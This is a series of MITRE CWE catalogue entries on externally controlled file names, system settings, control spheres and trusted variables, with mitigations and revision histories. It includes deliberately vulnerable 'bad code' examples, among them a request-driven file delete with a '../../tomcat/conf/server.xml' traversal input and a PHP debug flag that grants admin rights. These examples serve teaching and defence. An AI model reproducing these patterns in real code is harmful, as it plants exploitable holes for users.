Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Unix (Often Prevalent)

Class: Windows (Often Prevalent)

Class: macOS (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Read Files or Directories; Modify Files or Directories

The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.
Integrity
Confidentiality
Availability

Technical Impact: Modify Files or Directories; Execute Unauthorized Code or Commands

The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (Other)

The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

(bad code)
Example Language: Java 
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();

Example 2

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

(bad code)
Example Language: Java 
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);
+ Observed Examples
ReferenceDescription
Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: external control of user's target language enables remote file inclusion.
+ Potential Mitigations

Phase: Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Phases: Architecture and Design; Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phase: Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Phases: Installation; Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Phases: Operation; Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc.

However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all.

The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

Maintenance

CWE-114 is a Class, but it is listed a child of CWE-73 in view 1000. This suggests some abstraction problems that should be resolved in future versions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPath Manipulation
Software Fault PatternsSFP16Path Traversal
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Description
2009-12-28CWE Content TeamMITRE
updated Detection_Factors
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Time_of_Introduction, Type
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes, Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Detection_Factors, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Manipulation

CWE-15: External Control of System or Configuration Setting

Weakness ID: 15
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
One or more system settings or configuration elements can be externally controlled by a user.
+ Extended Description
Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.642External Control of Critical State Data
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.371State Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationSetting manipulation vulnerabilities occur when an attacker can control values that govern the behavior of the system, manage specific resources, or in some way affect the functionality of the application.
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Demonstrative Examples

Example 1

The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

(bad code)
Example Language:
...
sethostid(argv[1]);
...

Although a process must be privileged to successfully invoke sethostid(), unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.

Example 2

The following Java code snippet reads a string from an HttpServletRequest and sets it as the active catalog for a database Connection.

(bad code)
Example Language: Java 
...
conn.setCatalog(request.getParameter("catalog"));
...

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.

+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phases: Implementation; Architecture and Design

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

Phases: Implementation; Architecture and Design

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1368ICS Dependencies (& Architecture): External Digital Systems
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsSetting Manipulation
Software Fault PatternsSFP25Tainted input to variable
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-01-12CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Modes_of_Introduction, Other_Notes
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Related_Attack_Patterns, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Setting Manipulation

CWE-673: External Influence of Sphere Definition

Weakness ID: 673
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not prevent the definition of control spheres from external actors.
+ Extended Description
Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.426Untrusted Search Path
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Demonstrative Examples

Example 1

Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.

Example 2

In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.

+ Observed Examples
ReferenceDescription
setuid program allows compromise using path that finds and loads a malicious library.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Theoretical_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Relevant_Properties
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-454: External Initialization of Trusted Variables or Data Stores

Weakness ID: 454
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.
+ Extended Description
A product system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. The variables may have been initialized incorrectly. If an attacker can initialize the variable, then they can influence what the vulnerable system will do.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1419Incorrect Initialization of Resource
CanAlsoBeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.456Missing Initialization of a Variable
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.452Initialization and Cleanup Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Sometimes Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

An attacker could gain access to and modify sensitive data or system information.
+ Demonstrative Examples

Example 1

In the Java example below, a system property controls the debug level of the application.

(bad code)
Example Language: Java 
int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();

If an attacker is able to modify the system property, then it may be possible to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/exposed as the debug level increases.

Example 2

This code checks the HTTP POST request for a debug switch, and enables a debug mode if the switch is set.

(bad code)
Example Language: PHP 
$debugEnabled = false;
if ($_POST["debug"] == "true"){
$debugEnabled = true;
}
/.../

function login($username, $password){
if($debugEnabled){
echo 'Debug Activated';
phpinfo();
$isAdmin = True;
return True;
}
}

Any user can activate the debug mode, gaining administrator privileges. An attacker may also use the information printed by the phpinfo() function to further exploit the system. .

This example also exhibits Information Exposure Through Debug Information (CWE-215)

+ Observed Examples
ReferenceDescription
WordPress module sets internal variables based on external inputs, allowing false reporting of the number of views
Does not clear dangerous environment variables, enabling symlink attack.
Specify alternate configuration directory in environment variable, enabling untrusted path.
Dangerous environment variable not cleansed.
